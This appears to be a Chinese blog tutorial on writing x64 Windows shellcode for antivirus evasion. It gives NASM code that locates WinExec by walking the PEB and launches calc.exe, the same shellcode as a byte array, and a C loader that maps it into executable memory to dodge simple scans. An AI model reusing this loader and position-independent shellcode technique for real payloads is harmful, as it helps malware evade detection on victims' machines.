前言
因为在学习免杀过程中,大多的技术都是需要ShellCode的,但是MSF老牌的ShellCode又总是漏就秒,用那些老牌ShellCode不能体现突出我们学习过的免杀技术,所以打算自己从零开学学写ShellCode,但其实我对汇编等学习也不算太多,所以如果也和情况相似的话就一起来学习吧!因为我学免杀的实验环境是Win x64的环境,所以就从x64入手吧,按理来说应该是先从x86开始的,但是就像之前我学硬件一样也是跳过51直接学32其实没什么影响,理解了一方面另一个就大同小异了。
第一章的话没想着将大量的汇编直接放过来,大家可以跟着我下面的教程将环境下载上,用的是NASM的汇编语法,跟着一步一步操作起来到最后成功,先提起一些兴趣,干货直接放在第二章节开始了,如果不打算先简单操作可以直接跳到第二章开始。
Shellcode是什么?
Shellcode 是一段无需编译可直接被 CPU 执行的二进制机器码
基础开发
Stage1:64 位 Windows 下弹出信息框(MessageBoxA)
从实现最基础的弹窗功能开始
-
汇编代码
section .data caption db "Hello", 0 message db "This is your first Shellcode step!", 0 section .text extern MessageBoxA extern ExitProcess global main main: sub rsp, 40 ; 预留影子栈空间 (32字节) + 对齐 (8字节) xor rcx, rcx ; hWnd = NULL 等价于 mov rcx,0 但是xor指令只需2字节,后面需7字节 lea rdx, [rel message] ; lpText lea r8, [rel caption] ; lpCaption mov r9d, 0 ; uType = MB_OK call MessageBoxA xor rcx, rcx ; uExitCode = 0 call ExitProcess
-
编译链接
# 编译汇编代码为目标文件 nasm -f win64 msg.asm -o msg.obj # 链接为可执行文件 gcc -m64 -s -o msg.exe msg.obj -lkernel32 -luser32 # 运行测试 ./msg.exe
Stage2:编写“位置无关”的机器码 (PIC),实现calc计算器
真正的Shellcode不能用extern,需要我们手动在内存中寻找函数。步骤如下:
-
通过
GS:[0x60]访问PEB -
解析
Ldr链表找到kernel32.dll -
解析其导出表找到
GetProcAddress和LoadLibratyA
[BITS 64] section .text default rel global main main: ; 1. 保存环境与栈对齐 push rbp mov rbp, rsp sub rsp, 60h ; 预留足够的影子栈空间 ; 2. 获取 kernel32.dll 基址 xor rbx, rbx mov rbx, [gs:60h] ; RBX = PEB mov rbx, [rbx + 18h] ; RBX = Ldr mov rbx, [rbx + 20h] ; RBX = InMemoryOrderModuleList (指向第一个模块) mov rbx, [rbx] ; 模块1: 自身.exe mov rbx, [rbx] ; 模块2: ntdll.dll mov rbx, [rbx + 20h] ; RBX = kernel32.dll 基址 [DllBase] mov r12, rbx ; R12 = kernel32 基址,留作后用 ; 3. 解析 kernel32 导出表 (PE Header) mov eax, [rbx + 3Ch] ; RVA of PE Header add rax, rbx ; RAX = PE Header 地址 mov eax, [rax + 88h] ; RVA of Export Directory add rax, rbx ; RAX = Export Directory 地址 (IMAGE_EXPORT_DIRECTORY) mov r13, rax ; R13 = Export Directory 地址 ; 4. 获取导出表中的关键数组 mov ecx, [r13 + 18h] ; NumberOfNames mov r14d, [r13 + 20h] ; RVA of AddressOfNames add r14, rbx ; R14 = AddressOfNames 实际地址 ; 5. 循环查找 "WinExec" 字符串 find_winexec: dec ecx ; 索引从后往前找 mov esi, [r14 + rcx*4] ; 获取函数名的 RVA add rsi, rbx ; RSI = 函数名字符串地址 ("WinExec") ; 简单的字符串比较: "WinExec" (注意大小写) ; 这里为了简化,我们只检查前 4 个字节 "WinE" (0x65784557) mov eax, [rsi] cmp eax, 0x456E6957 ; "WinE" 的小端序 (W=57, i=69, n=6E, E=45) jne find_winexec ; 检查后 3 个字节 "xec" mov eax, [rsi + 4] cmp eax, 0x00636578 ; "xec\0" (x=78, e=65, c=63) jne find_winexec ; 6. 找到索引后,提取函数地址 mov r15d, [r13 + 24h] ; RVA of AddressOfNameOrdinals add r15, rbx movzx ecx, word [r15 + rcx*2] ; 获取 Ordinal mov r15d, [r13 + 1Ch] ; RVA of AddressOfFunctions add r15, rbx mov eax, [r15 + rcx*4] ; 获取 WinExec 的 RVA add rax, rbx ; RAX = WinExec 的实际内存地址 ; 7. 准备参数并调用 WinExec("calc.exe", 1) jmp get_cmd_string call_winexec: pop rcx ; RCX = "calc.exe" 地址 mov rdx, 1 ; RDX = SW_SHOWNORMAL call rax ; 执行 WinExec! ; 8. 退出 add rsp, 60h pop rbp ret get_cmd_string: call call_winexec db "calc.exe", 0
两种执行方法:
-
编译链接运行:
nasm -f win64 cal.asm -o cal.obj gcc cal.obj -o cal.exe
-
机器码执行:
-
转换成机器码文件
nasm -f bin cal.asm -o cal.bin
-
查看二进制文件内容
Format-Hex cal.bin
-
编写加载器并编译执行
#include <windows.h> #include <stdio.h> unsigned char shellcode[] = "\x55\x48\x89\xe5\x48\x83\xec\x60\x48\x31\xdb\x65\x48\x8b\x1c\x25" "\x60\x00\x00\x00\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48" "\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xdc\x8b\x43\x3c\x48\x01\xd8\x8b" "\x80\x88\x00\x00\x00\x48\x01\xd8\x49\x89\xc5\x41\x8b\x4d\x18\x45" "\x8b\x75\x20\x49\x01\xde\xff\xc9\x41\x8b\x34\x8e\x48\x01\xde\x8b" "\x06\x3d\x57\x69\x6e\x45\x75\xee\x8b\x46\x04\x3d\x78\x65\x63\x00" "\x75\xe4\x45\x8b\x7d\x24\x49\x01\xdf\x41\x0f\xb7\x0c\x4f\x45\x8b" "\x7d\x1c\x49\x01\xdf\x41\x8b\x04\x8f\x48\x01\xd8\xeb\x0e\x59\xba" "\x01\x00\x00\x00\xff\xd0\x48\x83\xc4\x60\x5d\xc3\xe8\xed\xff\xff" "\xff\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; int main() { printf("Loading Shellcode...\n"); // 1. 申请内存 (MEM_COMMIT | MEM_RESERVE) void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_READWRITE); // 2. 拷贝 Shellcode 到申请的内存 memcpy(exec, shellcode, sizeof(shellcode)); // 3. 修改内存权限为 可读、可执行 (这是为了躲避简单的杀软扫描) DWORD oldProtect; VirtualProtect(exec, sizeof(shellcode), PAGE_EXECUTE_READ, &oldProtect); // 4. 执行 Shellcode ((void(*)())exec)(); return 0; }
gcc loader.c -o loader.exe
- THE END -
共有 0 条评论